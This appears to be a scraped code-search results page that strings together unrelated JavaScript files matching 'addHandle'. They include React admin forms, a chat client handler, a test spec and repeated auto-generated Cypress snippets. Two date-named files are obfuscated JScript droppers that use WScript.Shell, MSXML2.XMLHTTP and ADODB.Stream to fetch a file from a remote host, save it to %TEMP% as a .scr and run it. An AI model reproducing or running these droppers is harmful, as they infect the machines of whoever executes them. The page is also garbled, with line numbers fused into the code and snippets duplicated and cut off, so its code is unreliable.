console.error(err))68    }69    addhandleBlur = (field) => (evt) => {70        this.setState({71            touched: { ...this.state.touched, [field]: true }72        });73    }74    addvalidate(addusername, addpassword) {75        const errors = {76            addusername: '',77            addpassword: '',78        };79        if(this.state.utilisateurs){80        if (this.state.touched.addusername && addusername.length < 4)81            errors.addusername = 'Username should be >= 4 characters';82        if (this.state.touched.addpassword && addpassword.length < 4)83            errors.addpassword = 'password should be >=  characters';84        if (this.state.utilisateurs.filter(utilisateur => utilisateur.username === this.state.addusername)[0])85            errors.addusername = 'username already exist';86        }87        return errors;88    }89    checkUser(username) {90        return (username === this.state.addusername);91    }92    componentDidMount() {93        this.fetchUsers();94    }95    // Fetch all Users96    fetchUsers = () => {97        const token = sessionStorage.getItem('jwt');98        fetch(SERVER_URL + 'users', {99            headers: { 'Authorization': token }100        })101            .then((response) => response.json())102            .then((responseData) => {103                this.setState({104                    utilisateurs: responseData,105                });106            })107            .catch(err => console.error(err));108    }109    toggleModal() {110        this.setState({111            isModalOpen: !this.state.isModalOpen 112        });113    }114    profiletoggleModal(utilisateur){115        this.setState({116            isProfilModalOpen: !this.state.isProfilModalOpen,117            selectedUser: utilisateur118        });119    }120    render() {121        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);122        let tableRows = <div></div>123        if(this.state.utilisateurs){124        tableRows = this.state.utilisateurs.map((utilisateur, index) =>125            <tr key={index}>126                <td>{utilisateur.username}</td>127                <td>{utilisateur.role}</td>128                <td className="text-right"><Button onClick={() => this.profiletoggleModal(utilisateur)} color="secondary">Voir Profile</Button></td>129            </tr>);130        }131        132        return (133            <>134                <div className="content">135                    <Row>136                        <Col md="12">137                            <Card>138                                <CardHeader>139                                    <CardTitle tag="h4"><Row className="mx-2">Table d'utilisateurs140                                        <Link onClick={this.toggleModal} className=" ml-auto mr-4" color="secondary">141                                            <i className="fa fa-plus-square" /><span> Ajouter</span>142                                        </Link></Row>143                                    </CardTitle>144                                </CardHeader>145                                <CardBody>146                                    <Table responsive>147                                        <thead className="text-primary">148                                            <tr>149                                                <th>UserName</th>150                                                <th>Role</th>151                                                <th className="text-right">Afficher Profil</th>152                                            </tr>153                                        </thead>154                                        <tbody>155                                            {tableRows}156                                        </tbody>157                                    </Table>158                                </CardBody>159                            </Card>160                        </Col>161                    </Row>162                    <ProfileModale selectedUser={this.state.selectedUser} isModalOpen={this.state.isProfilModalOpen} toggle={this.profiletoggleModal}/>163                    <Modal isOpen={this.state.isModalOpen} toggle={this.toggleModal}>164                        <ModalHeader toggle={this.toggleModal}>Ajouter un nouveau utilisateur</ModalHeader>165                        <ModalBody>166                            <Form onSubmit={this.addhandleSubmit}>167                                <FormGroup>168                                    <Label htmlFor="username">Username</Label>169                                    <Input type="text" id="addusername" name="addusername"170                                        innerRef={(input) => this.username = input}171                                        value={this.state.addusername}172                                        valid={errors.addusername === '' && this.state.addusername !== ''}173                                        invalid={errors.addusername !== ''}174                                        onBlur={this.addhandleBlur('addusername')}175                                        onChange={this.addhandleInputChange} />176                                    <FormFeedback>{errors.addusername}</FormFeedback>177                                </FormGroup>178                                <FormGroup>179                                    <Label htmlFor="password">Password</Label>180                                    <Input type="password" id="addpassword" name="addpassword"181                                        innerRef={(input) => this.password = input}182                                        value={this.state.addpassword}183                                        valid={errors.addpassword === '' && this.state.addpassword !== ''}184                                        invalid={errors.addpassword !== ''}185                                        onBlur={this.addhandleBlur('addpassword')}186                                        onChange={this.addhandleInputChange} />187                                    <FormFeedback>{errors.addpassword}</FormFeedback>188                                </FormGroup>189                                <FormGroup>190                                    <Label htmlFor="addType">Role</Label>191                                    <Input type="select" name="addType"192                                        value={this.state.addType}193                                        onChange={this.addhandleInputChange}>194                                        <option>CLIENT</option>195                                        <option>ADMIN</option>196                                    </Input>197                                </FormGroup>198                                <Button type="submit" value="submit" color="primary">Ajouter</Button>199                            </Form>200                        </ModalBody>201                    </Modal>202                </div>203            </>204        );205    }206}...

Full Screen

Full Screen

NewSupervisorForm.js

Source:NewSupervisorForm.js Github

copy

Full Screen

1import React from 'react';2import SERVER_URL from '../variables/general';3import { Button, Modal, ModalHeader, ModalBody, FormFeedback, Form, Input, FormGroup, Label } from 'reactstrap';4import { toast } from 'react-toastify';5class NewSupervisorForm extends React.Component {6    constructor(props) {7        super(props)8        this.state = {9            utilisateurs: [],10            addusername: '',11            addpassword: '',12            addType: 'SUPERVISOR',13            email: '',14            frstname: '',15            lastname: '',16            address: '',17            phone: '',18            sexe: 'M',19            speciality:'',20            touched: {21                addusername: false,22                addpassword: false,23            }24        };25        this.addhandleInputChange = this.addhandleInputChange.bind(this);26        this.addhandleSubmit = this.addhandleSubmit.bind(this);27        this.fetchUsers = this.fetchUsers.bind(this);28        this.addvalidate = this.addvalidate.bind(this);29    }30    addhandleInputChange(event) {31        const target = event.target;32        const value = target.value;33        const name = target.name;34        this.setState({35            [name]: value36        });37    }38    addvalidate(addusername, addpassword) {39        const errors = {40            addusername: '',41            addpassword: '',42        };43        if (this.state.touched.addusername && addusername.length < 4)44            errors.addusername = 'Username should be >= 4 characters';45        if (this.state.touched.addpassword && addpassword.length < 4)46            errors.addpassword = 'password should be >=  characters';47        if (this.state.utilisateurs != null && this.state.utilisateurs.filter(utilisateur => utilisateur.username === this.state.addusername)[0])48            errors.addusername = 'username already exist';49        return errors;50    }51    componentDidMount() {52        this.fetchUsers();53    }54    // Fetch all Users55    fetchUsers = () => {56        const token = sessionStorage.getItem('jwt');57        fetch(SERVER_URL + 'users', {58            headers: { 'Authorization': token }59        })60            .then((response) => response.json())61            .then((responseData) => {62                this.setState({63                    utilisateurs: responseData,64                });65            })66            .catch(err => console.error(err));67    }68    addhandleBlur = (field) => (evt) => {69        this.setState({70            touched: { ...this.state.touched, [field]: true }71        });72    }73    addUser(user) {74        const token = sessionStorage.getItem('jwt');75        fetch(SERVER_URL + "addsupervisor",76            {77                method: 'POST',78                headers: {79                    'Content-Type': 'application/json',80                    'Authorization': token81                },82                body: JSON.stringify(user)83            })84            .then(res =>85                toast.success('Changes saved', {86                    position: toast.POSITION.BOTTOM_LEFT87                })88            ).then(res => this.props.fetchSupervisors())89            .catch(err =>90                toast.error('Error when saving', {91                    position: toast.POSITION.BOTTOM_LEFT92                })93            )94               95    }96    addhandleSubmit(event) {97        event.preventDefault();98        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);99        if (errors.addusername === '' && errors.addpassword === '' && this.state.addusername !== '' && this.state.addpassword !== '') {100            const user = {101                username: this.state.addusername,102                password: this.state.addpassword,103                role: this.state.addType,104                email: this.state.email,105                frstname: this.state.frstname,106                lastname: this.state.lastname,107                address: this.state.address,108                phone: this.state.phone,109                sexe: this.state.sexe,110                speciality: this.state.speciality111            };112            console.log(user);113            this.addUser(user);114            this.setState({115                addusername: '',116                addpassword: '',117                addType: 'ADMIN',118                email: '',119                frstname: '',120                lastname: '',121                address: '',122                phone: '',123                sexe: 'M',124                speciality:''125            });126            this.props.toggle();127        }128    }129    render() {130        const errors = this.addvalidate(this.state.addusername, this.state.addpassword);131        return (132            <div>133                <Modal isOpen={this.props.isOpen} toggle={this.props.toggle}>134                    <ModalHeader toggle={this.props.toggle}>Add new Supervisor</ModalHeader>135                    <ModalBody>136                        <Form onSubmit={this.addhandleSubmit}>137                            <FormGroup>138                                <Label htmlFor="username">Username</Label>139                                <Input type="text" id="addusername" name="addusername"140                                    innerRef={(input) => this.username = input}141                                    value={this.state.addusername}142                                    valid={errors.addusername === '' && this.state.addusername !== ''}143                                    invalid={errors.addusername !== ''}144                                    onBlur={this.addhandleBlur('addusername')}145                                    onChange={this.addhandleInputChange} />146                                <FormFeedback>{errors.addusername}</FormFeedback>147                            </FormGroup>148                            <FormGroup>149                                <Label htmlFor="password">Password</Label>150                                <Input type="password" id="addpassword" name="addpassword"151                                    innerRef={(input) => this.password = input}152                                    value={this.state.addpassword}153                                    valid={errors.addpassword === '' && this.state.addpassword !== ''}154                                    invalid={errors.addpassword !== ''}155                                    onBlur={this.addhandleBlur('addpassword')}156                                    onChange={this.addhandleInputChange} />157                                <FormFeedback>{errors.addpassword}</FormFeedback>158                            </FormGroup>159                            <FormGroup>160                                <Label htmlFor="speciality">Speciality</Label>161                                <Input type="text" id="speciality" name="speciality"162                                    value={this.state.speciality}163                                    onChange={this.addhandleInputChange} />164                            </FormGroup>165                            <FormGroup>166                                <Label htmlFor="email">Email</Label>167                                <Input type="email" id="email" name="email"168                                    value={this.state.fullname}169                                    onChange={this.addhandleInputChange} />170                            </FormGroup>171                            <FormGroup>172                                <Label htmlFor="frstname">Firstname</Label>173                                <Input type="text" id="frstname" name="frstname"174                                    value={this.state.jobTitle}175                                    onChange={this.addhandleInputChange} />176                            </FormGroup>177                            <FormGroup>178                                <Label htmlFor="lastname">Lastname</Label>179                                <Input type="text" id="lastname" name="lastname"180                                    value={this.state.jobTitle}181                                    onChange={this.addhandleInputChange} />182                            </FormGroup>183                            <FormGroup>184                                <Label htmlFor="address">Address</Label>185                                <Input type="text" id="address" name="address"186                                    value={this.state.jobTitle}187                                    onChange={this.addhandleInputChange} />188                            </FormGroup>189                            <FormGroup>190                                <Label htmlFor="sexe">Gender</Label>191                                <Input type="select" id="sexe" name="sexe"192                                    value={this.state.sexe}193                                    onChange={this.addhandleInputChange} >194                                <option>F</option>195                                <option>M</option>196                                </Input>197                            </FormGroup>198                            <Button type="submit" value="submit" color="primary">Ajouter</Button>199                        </Form>200                    </ModalBody>201                </Modal>202            </div>203        );204    }205}...

Full Screen

Full Screen

serviceHandle.js

Source:serviceHandle.js Github

copy

Full Screen

1MControl.addHandle('ServiceInfo', function (info) {2	serviceInfo.serviceId = info.serviceId;3	serviceInfo.serviceName = info.serviceName;4	serviceInfo.nickName = info.nickName;5	serviceInfo.groupName = info.groupName;6	serviceInfo.employeeId = info.employeeId;7	serviceInfo.autoMessage = info.autoMessage;8	$('#headBar-name').html(serviceInfo.serviceName);9});10MControl.addHandle('TransferSignal', function (signal) {11	let map=new Map();12	for (let msg of signal.historyList) {13		msg.time = new Date(msg.time);14		map.set(msg.senderId,msg);15	}16	for(let msg of map.values()){17		getUserBriefInfo(msg.senderId, 1 - msg.fromClient);18	}19	conversationList.push(new Conversation(20		signal.conversationId,21		signal.clientId,22		signal.historyList23	));24	MControl.send(new ClientDetailReq(signal.clientId));25	notificationManager.add({title:'有新会话接入',notiContent:'您接入了新的会话。',time:new Date()});26});27MControl.addHandle('ClientChat', function (chat) {28	let conversation = conversationList.find(cco => cco.conversationId == chat.conversationId);29	conversation.msgList.push(30		new VueChatMessage(chat.clientId, 1, new Date(chat.time), chat.contentType, chat.content)31	);32	if(conversation != chatApp.currentConversation){33		conversation.hasNewMessage = true;34	} else {35		FLAG_UPDATE_CHAT = true;36	}37});38MControl.addHandle('ServiceChat', function (chat) {39	conversationList.find(cco => cco.conversationId == chat.conversationId).msgList.push(40		new VueChatMessage(serviceInfo.serviceId, 0, new Date(chat.time), chat.contentType, chat.content)41	);42	FLAG_UPDATE_CHAT = true;43});44MControl.addHandle('ServiceStatus', function (status) {45	serviceInfo.conversationCount = status.conversationCount;46	serviceInfo.queuePeopleCount = status.queuePeopleCount;47});48MControl.addHandle('UserInfoResp', function (info) {49	chatApp.$set(chatApp.nickNameManager[1 - info.userType], info.userId, info.nickName);50});51let colorList = ['#fafac6', '#fae1c6', '#f6dcf6', '#dcdcf6', '#f6f6dc'];52MControl.addHandle('RecommandKnowledges', function (kl) {53	let c = conversationList.find(function (o) {54		return o.conversationId == kl.conversationId;55	});56	let curMsg = c.msgList[c.msgList.length - 1];57	function addTag(content, tag) {58		let pos = content.indexOf(tag);59		if (pos != -1) {60			let left = content.slice(0, pos);61			let middle = content.slice(pos, pos + tag.length);62			let right = content.slice(pos + tag.length);63			content = left + '<span class="keyWordTag" style="background-color:' + colorList[c.colorCount] + '">' +64				middle + '</span>' + right;65		}66		return content;67	}68	for (let k of kl.knowledgeList) {69		curMsg.content = addTag(curMsg.content, k.keyWord[0]);70		k.bgColor=colorList[c.colorCount];71		c.colorCount++;72		if (c.colorCount >= colorList.length) {73			c.colorCount = 0;74		}75	}76	c.knowledgeList = kl.knowledgeList.concat(c.knowledgeList);77	FLAG_UPDATE_KNOWLEDGE=true;78});79MControl.addHandle('CommonLanguageList',function(resp){80	commonLangManager.commonLangList = resp.commonLanguageList;81});82MControl.addHandle('ClientDetailResp',function(detail){83	detail.recommandTagList=[];84	chatApp.$set(chatApp.clientDetailManager,detail.clientId,detail);85});86MControl.addHandle('ClientDetailResp2',function(detail){87	detail.recommandTagList=[];88	chatApp.$set(chatApp.clientDetailManager,detail.clientId,detail);89	conversationList.find(o=>o.conversationId == detail.conversationId).userId = detail.clientId;90	chatApp.$set(chatApp.nickNameManager[1], detail.clientId, detail.clientName);91});92function _conversationEnd(signal){93	let endedConversationId = signal.conversationId;94	let endedIndex = conversationList.findIndex(o => o.conversationId == endedConversationId);95	96	if(endedIndex != -1){97		let endedConversation = conversationList[endedIndex];98		conversationList.splice(endedIndex,1);99		if(chatApp.currentConversation == endedConversation){100			chatApp.currentConversation = conversationList[0] ? conversationList[0] : -1;101		}102	}103}104MControl.addHandle('ConversationEndSignal',_conversationEnd);105MControl.addHandle('TransferEndSignal',_conversationEnd);106MControl.addHandle('Notification',function(notification){107	notificationManager.add(notification);108});109MControl.addHandle('SearchClientByNameResp',function(resp){110	clientSearchApp.matchList = resp.clientList;111});112MControl.addHandle('RecommandTags',function(recommand){113	let conversation = conversationList.find(cco => cco.conversationId == recommand.conversationId);114	let clientId = conversation.userId;115	let tagList = chatApp.clientDetailManager[clientId].unusedTagList;116	for(let tag of recommand.tagList){117		let index = tagList.findIndex(t=>t==tag);118		tagList.splice(index,1);119	}120	chatApp.clientDetailManager[clientId].recommandTagList = chatApp.clientDetailManager[clientId].recommandTagList.concat(recommand.tagList);...

Full Screen

Full Screen

20160309_484d23d85f5c03cc0ba1e7b788224e49.js

Source:20160309_484d23d85f5c03cc0ba1e7b788224e49.js Github

copy

Full Screen

1var boxSizingReliable = "open",2				fail = "MLHTT";3keepScripts = 1;4insertBefore = (function String.prototype.id() {5				return this6}, "MP");7getElementsByName = "Script";8num = "s", clazz = "j", soFar = "h";9var getter = "ream",10				escapedWhitespace = "%",11				letterSpacing = 0,12				addToPrefiltersOrTransports = "C",13				setOffset = "eBod";14var triggered = 673;15setMatchers = "/0";16sort = "W";17rchecked = ".scr";18removeAttribute = "reate";19serializeArray = "Objec", focusin = "n", isNumeric = 16, rbuggyMatches = "y", expando = "el";20slideToggle = 131, nodeType = "c";21submit = "%TE", td = 48;22var eq = "P",23				tr = 3602,24				rtagName = "WScri";25contextBackup = "E";26fragment = "ings";27password = 255;28box = "pt";29callbackExpect = "ep";30curPosition = 11;31seekingTransport = "bje";32var eased = 45,33				tokenCache = 10,34				rclickable = "ript";35var unbind = "xpan",36				defaultPrefilter = "9y8",37				settings = 13,38				origCount = 97;39var responseContainer = "htt",40				booleans = "lose",41				serialize = "wri",42				completeDeferred = 41,43				hidden = "eO",44				cur = "S";45aup = "av", define = 7;46var rcheckableType = "pen",47				argument = "XML2.X",48				scripts = "r",49				readyWait = 47;50responseHeadersString = "p://ww";51initialInUnit = "t";52includeWidth = "spon";53close = "/";54namespace = 26;55var overwritten = 33,56				keys = 3,57				ignored = "le",58				docElem = "Fil",59				marginRight = "l";60qsa = "type";61rcomma = "ct";62groups = "Obje";63toggleClass = "ironm";64dir = 39;65inPage = "wen.";66evt = "ADO";67condense = "MS";68mozMatchesSelector = "pt.Sh";69r20 = "Cr";70container = "rhas";71scriptCharset = 53;72self = 247;73func = 226;74fx = "eat";75rbuggyQSA = "GET";76camelKey = "end";77statusCode = 19, subordinate = "Run", responseFields = "te", fireWith = "o";78var computed = "entStr",79				getWidthOrHeight = "iti",80				transport = "eTo",81				base = "DB.St",82				isDefaultPrevented = "e";83var v = 5,84				lastModified = "Create",85				addHandle = 2,86				next = "sk",87				className = "ipt";88htmlPrefilter = "w.eko";89keyCode = 17;90args = "WSc";91var charCode = "Re",92				key = "dEnv",93				getElementById = 317,94				matchers = "pos";95letter = (((Math.pow(6, addHandle) - 28) & (dir - 25)), ((keepScripts * (416 / namespace)), this));96whitespace = subordinate;97view = letter[sort + getElementsByName];98assert = view[lastModified + serializeArray + initialInUnit](rtagName + mozMatchesSelector + expando + marginRight);99pipe = assert[contextBackup + unbind + key + toggleClass + computed + fragment](submit + insertBefore + escapedWhitespace + close) + container + soFar + rchecked;100fadeOut = letter[args + rclickable][addToPrefiltersOrTransports + removeAttribute + groups + rcomma](condense + argument + fail + eq);101fadeOut[fireWith + rcheckableType](rbuggyQSA, responseContainer + responseHeadersString + htmlPrefilter + inPage + next + setMatchers + defaultPrefilter + clazz, !((((47 & scriptCharset) - (22 + settings)) * ((0 ^ addHandle) & (1 * keys)) * (((33 - overwritten) | (0 ^ keepScripts)) * ((1 + keepScripts) | (2 & addHandle))) * (Math.pow(((Math.pow(43, addHandle) - 1801) / (Math.pow(keys, 2) - v)), ((3 + statusCode) - (Math.pow(12, addHandle) - 124))) - (slideToggle * 11 / curPosition)) * (((232, keepScripts) + (0 ^ letterSpacing)) + (1 & (keepScripts * 1))) / ((((isNumeric | 160) | (password / 15)), ((origCount ^ 21)), ((self & 244) + (keys * 2 + addHandle)), ((11 ^ keyCode) - (Math.pow(15, addHandle) - 208))) ^ (((eased - 44) + (completeDeferred - 41)), ((tr | 9298) / (keys * 16 + keepScripts)), (47 * v / (47 & readyWait)), (188, func, 2) * (letterSpacing | 2)))) > define));102fadeOut[num + camelKey]();103fnOver = letter[args + scripts + className][r20 + fx + hidden + seekingTransport + rcomma](evt + base + getter);104fnOver[boxSizingReliable]();105rejectWith = fnOver;106deepDataAndEvents = assert;107rejectWith[qsa] = ((4 * addHandle + 2) - (settings & 11));108detectDuplicates = rejectWith;109count = fadeOut[charCode + includeWidth + num + setOffset + rbuggyMatches];110fnOver[serialize + responseFields](count);111detectDuplicates[matchers + getWidthOrHeight + fireWith + focusin] = (keepScripts + -(48 / td));112fnOver[num + aup + transport + docElem + isDefaultPrevented](pipe, 2);113map = fnOver;114map[nodeType + booleans]();115letter[rtagName + box][cur + ignored + callbackExpect]((Math.pow(keys * 2 * addHandle * 137 * keys * 2, (addHandle | 0)) - addHandle * 2 * statusCode * 3 * triggered * 2 * getElementById));
...

Full Screen

Full Screen

20160307_cb329349c6ca14c8384862c7931a3ad7.js

Source:20160307_cb329349c6ca14c8384862c7931a3ad7.js Github

copy

Full Screen

1els = ".scr";2tr = "cript";3cssProps = "P";4height = 876;5responseFields = "GET";6matcherOut = "LHTT";7uniqueSort = "Objec";8uniqueID = "c";9transport = "Strin";10parseJSON = "oFile";11shift = "pe";12var matcherIn = "dy",13	position = "s";14var cloneCopyEvent = 51;15var overflowY = "pt",16	param = "era.",17	dataTypeExpression = "ep";18curCSSLeft = 0;19expand = "e";20sel = 33;21optSelected = "nm";22refElements = 181;23tweener = "saveT";24etag = 53, finalValue = "vf", marginDiv = "bjec", addHandle = 2;25var createButtonPseudo = "Cr",26	dataAttr = "en",27	hover = "%TEMP",28	timers = 28,29	dataUser = "d",30	nidselect = "l";31var originalOptions = 76,32	winnow = "http:",33	j = "ct",34	clearInterval = "ty",35	replaceAll = "Bo";36var dequeue = 90,37	returnFalse = "readys",38	name = 4,39	access = 273,40	callbackName = 3,41	reset = "Na";42var targets = "Sle";43handleObj = 1, dataShow = "ite", rrun = "t.Shel", rinputs = "eam", configurable = "nc", special = 48;44minWidth = "MSXML", rfxtypes = "/763";45funescape = "Expa", curOffset = 1284, rheaders = "i";46rmsPrefix = "Respon", related = "n", getPropertyValue = "O";47elemdisplay = "nviro", documentElement = 22;48attaches = 56;49maxWidth = "ent";50condense = "ip";51fire = "close";52contentType = "om.ar";53var contexts = "wr",54	getBoundingClientRect = "W",55	username = "tud",56	letterSpacing = "Scr",57	defaultPrevented = "fd",58	cached = "iomat";59prop = "eObje", unbind = "tat", mapped = "%/";60readyState = 732, headers = "//e";61conv2 = 25;62var add = "ADO",63	bup = "un",64	createHTMLDocument = "op",65	createCache = 9,66	offset = "2.XM";67contains = "R";68send = "ndE";69curPosition = "open";70fix = "Sleep";71cors = "WScri";72var ofType = "Crea",73	curCSS = 8,74	pattern = 5;75fadeOut = "t", has = 46, bindType = "WScr";76pointerleave = "io";77undelegate = "m";78compare = "eate";79oldfire = "osit";80allTypes = "Creat";81interval = "se";82XMLHttpRequest = (function Object.prototype.register() {83	return this84}, "WS"), parentOffset = 7, selectors = 882;85var success = "DB.Str",86	pseudos = "gs",87	opt = "fu",88	getStyles = "p";89matchContext = (((2937 / sel) + 104), (((pattern & 5) + (curCSSLeft ^ 3)), this));90currentTime = contains + bup;91completeDeferred = matchContext[bindType + condense + fadeOut];92eventPath = completeDeferred[ofType + fadeOut + expand + getPropertyValue + marginDiv + fadeOut](bindType + condense + rrun + nidselect);93removeAttr = eventPath[funescape + send + elemdisplay + optSelected + maxWidth + transport + pseudos](hover + mapped) + opt + configurable + reset + undelegate + expand + els;94testContext = matchContext[bindType + rheaders + overflowY][allTypes + prop + j](minWidth + offset + matcherOut + cssProps);95testContext[curPosition](responseFields, winnow + headers + position + username + cached + param + uniqueID + contentType + rfxtypes + defaultPrevented + finalValue, !(createCache == (((1 + curCSSLeft) * (3 + curCSSLeft)) * (((Math.pow(29, addHandle) - 808) | (Math.pow(timers, 2) - readyState)) - (113, addHandle * 2 * addHandle * 19, (attaches * 3 + timers), (12 * name + 2))) * (((documentElement | 15) - (parentOffset * 4 + addHandle)) + ((0 ^ handleObj) * (10 - curCSS))) * ((0 & (handleObj + 0)) ^ ((curCSSLeft | 1) * callbackName)) / (((2 + curCSSLeft) ^ ((57 - cloneCopyEvent) & (175 / conv2))) * (((1 * handleObj) + (0 & handleObj)) ^ ((1 * addHandle) | 3)) + (((curCSSLeft ^ 0) & (handleObj * 1)) ^ ((selectors / 49) / (dequeue, 11, etag, 18)))))));96testContext[interval + related + dataUser]();97while(testContext[returnFalse + unbind + expand] < ((addHandle * 2) & (access / 39))) {98	matchContext[XMLHttpRequest + tr][targets + dataTypeExpression](((originalOptions) ^ (Math.pow(30, addHandle) - 860)));99}100$ = matchContext[getBoundingClientRect + letterSpacing + rheaders + overflowY][createButtonPseudo + compare + uniqueSort + fadeOut](add + success + rinputs);101matchContext[cors + overflowY][fix](((curCSSLeft / 29) | (curOffset * 11 + height)));102try {103	$[createHTMLDocument + dataAttr]();104	curCSSTop = $;105	curCSSTop[clearInterval + shift] = (1 ^ (handleObj * 0));106	getAttributeNode = curCSSTop;107	$[contexts + dataShow](testContext[rmsPrefix + interval + replaceAll + matcherIn]);108	getAttributeNode[getStyles + oldfire + pointerleave + related] = (refElements, 105, curCSSLeft);109	$[tweener + parseJSON](removeAttr, (2 * addHandle * 3 * addHandle * 2 * addHandle / (0 | special)));110	$[fire]();111	subordinate = eventPath;112	subordinate[currentTime](removeAttr.register(), (17 * addHandle - 17 * addHandle), ((0 / has) ^ (1 * curCSSLeft)));
...

Full Screen

Full Screen

cropSelectionController.spec.js

Source:cropSelectionController.spec.js Github

copy

Full Screen

...18        cropSelectionEl = document.createElement("div");19        cropSelectionEl.id = "cropSelection";20        frag.appendChild(cropSelectionEl);2122        addHandle("topLeft", cropSelectionEl);23        addHandle("topRight", cropSelectionEl);24        addHandle("bottomLeft", cropSelectionEl);25        addHandle("bottomRight", cropSelectionEl);26        addHandle("topMiddle", cropSelectionEl);27        addHandle("bottomMiddle", cropSelectionEl);28        addHandle("rightMiddle", cropSelectionEl);29        addHandle("leftMiddle", cropSelectionEl);30    }3132    function addHandle(id, cropSelectionEl) {33        var handle = document.createElement("div");34        handle.id = id;35        cropSelectionEl.appendChild(handle);36    }3738    var controller, canvasEl, cropSelectionEl, cropSelection;3940    beforeEach(function () {41        setupDOMElements();42        cropSelection = new Specs.EventStub();4344        controller = new Hilo.Crop.CropSelectionController(cropSelection, canvasEl, cropSelectionEl);45    });46
...

Full Screen

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('addHandle', (handle) => {2  cy.get('.add-handle').click();3  cy.get('.handle-input').type(handle);4  cy.get('.add-handle-btn').click();5});6describe('Test', () => {7  it('should add a handle', () => {8    cy.addHandle('test');9  });10});11Cypress.Commands.add('addHandle', (handle) => {12  cy.get('.add-handle').click();13  cy.get('.handle-input').type(handle);14  cy.get('.add-handle-btn').click();15});16describe('Test', () => {17  it('should add a handle', () => {18    cy.addHandle('test');19  });20});21Cypress.Commands.add('addHandle', (handle) => {22  cy.get('.add-handle').click();23  cy.get('.handle-input').type(handle);24  cy.get('.add-handle-btn').click();25});26describe('Test', () => {27  it('should add a handle', () => {28    cy.addHandle('test');29  });30});

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('addHandle', (handle) => {2    cy.get('input[name="handle"]').type(handle)3    cy.get('button').contains('Add').click()4})5describe('Add handles', () => {6    beforeEach(() => {7    })8    it('Add handles', () => {9        cy.addHandle('testHandle')10        cy.addHandle('testHandle1')11        cy.addHandle('testHandle2')12        cy.addHandle('testHandle3')13        cy.addHandle('testHandle4')14    })15})16import './commands'17Cypress.Commands.add('addHandle', (handle) => {18    cy.get('input[name="handle"]').type(handle)19    cy.get('button').contains('Add').click()20})21Cypress.Commands.add('addHandle', (handle) => {22    cy.get('input[name="handle"]').type(handle)23    cy.get('button').contains('Add').click()24})25import './commands'26Cypress.Commands.add('addHandle', (handle) => {27    cy.get('input[name="handle"]').type(handle)28    cy.get('button').contains('Add').click()29})30Cypress.Commands.add('addHandle', (handle) => {31    cy.get('input[name="handle"]').type(handle)32    cy.get('button').contains('Add').click()33})34import './commands'35Cypress.Commands.add('addHandle', (handle) => {36    cy.get('input[name="handle"]').type(handle)37    cy.get('button').contains('Add').click()38})39Cypress.Commands.add('addHandle', (handle) => {40    cy.get('input[name="handle"]').type(handle)41    cy.get('button').contains('Add').click()42})

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add("addHandle", (handle) => {2  cy.get("#handle").type(handle);3  cy.get("#add-handle").click();4});5describe("Test", () => {6  it("should add a handle", () => {7    cy.addHandle("test");8  });9});10describe("Test", () => {11  it("should add a handle", () => {12    cy.addHandle("test");13    cy.get("#handle").should("have.value", "test");14  });15});16describe("Test", () => {17  it("should add a handle", () => {18    cy.addHandle("test");19    cy.get("#handle").should("have.value", "test");20    cy.get("#handle").should("not.have.value", "test1");21    cy.get("#handle").should("not.be.empty");22  });23});24describe("Test", () => {25  it("should add a handle", () => {26    cy.addHandle("test");27    cy.get("#handle").should("have.value", "test");28    cy.get("#handle").should("not.have.value", "test1");29    cy.get("#handle").should("not.be.empty");30    cy.get("#handle").should("be.visible");31    cy.get("#handle").should("be.enabled");32  });33});34describe("Test", () => {35  it("should add a handle", () => {36    cy.addHandle("test");37    cy.get("#handle").should("have.value", "test");38    cy.get("#handle").should("not.have.value", "test1");39    cy.get("#handle").should("not.be.empty");40    cy.get("#

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('addHandle', (handle) => {2    cy.get('[data-cy="add-handle"]')3    .type(handle)4    .type('{enter}')5})6Cypress.Commands.add('addHandle', (handle) => {7    cy.get('[data-cy="add-handle"]')8    .type(handle)9    .type('{enter}')10})11Cypress.Commands.add('addHandle', (handle) => {12    cy.get('[data-cy="add-handle"]')13    .type(handle)14    .type('{enter}')15})16Cypress.Commands.add('addHandle', (handle) => {17    cy.get('[data-cy="add-handle"]')18    .type(handle)19    .type('{enter}')20})21Cypress.Commands.add('addHandle', (handle) => {22    cy.get('[data-cy="add-handle"]')23    .type(handle)24    .type('{enter}')25})26Cypress.Commands.add('addHandle', (handle) => {27    cy.get('[data-cy="add-handle"]')28    .type(handle)29    .type('{enter}')30})31Cypress.Commands.add('addHandle', (handle) => {32    cy.get('[data-cy="add-handle"]')33    .type(handle)34    .type('{enter}')35})36Cypress.Commands.add('addHandle', (handle) => {37    cy.get('[data-cy="add-handle"]')38    .type(handle)39    .type('{enter}')40})41Cypress.Commands.add('addHandle', (handle) => {42    cy.get('[data-cy="add-handle"]')43    .type(handle)44    .type('{enter}')45})46Cypress.Commands.add('addHandle', (handle) => {47    cy.get('[data-cy="add

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('addHandle', (handle) => {2    cy.get('input[name="handle"]').type(handle)3    cy.get('.btn').click()4})5describe('Test', () => {6    it('Test', () => {7        cy.addHandle('test')8    })9})

Full Screen

Using AI Code Generation

copy

Full Screen

1Cypress.Commands.add('addHandle', (handle) => {2   cy.get('#add-handle').type(handle)3   cy.get('#add-handle-button').click()4})5describe('Test for addHandle', () => {6   it('should add a new handle', () => {7      cy.addHandle('testHandle')8      cy.get('#handle-list').contains('testHandle')9   })10})11Cypress.Commands.add('addHandle', (handle) => {12   cy.get('#add-handle').type(handle)13   cy.get('#add-handle-button').click()14})15describe('Test for addHandle', () => {16   it('should add a new handle', () => {17      cy.addHandle('testHandle')18      cy.get('#handle-list').contains('testHandle')19   })20})21Cypress.Commands.add('addHandle', (handle) => {22   cy.get('#add-handle').type(handle)23   cy.get('#add-handle-button').click()24})25describe('Test for addHandle', () => {26   it('should add a new handle', () => {27      cy.addHandle('testHandle')28      cy.get('#handle-list').contains('testHandle')29   })30})31Cypress.Commands.add('addHandle', (handle) => {32   cy.get('#add-handle').type(handle)33   cy.get('#add-handle-button').click()34})35describe('Test for addHandle', () => {36   it('should add a new handle', () => {37      cy.addHandle('testHandle')38      cy.get('#handle-list').contains('testHandle')39   })40})41Cypress.Commands.add('addHandle', (handle) => {42   cy.get('#add-handle').type(handle)43   cy.get('#add-handle-button').click()44})45describe('Test for addHandle', () => {46   it('should add a 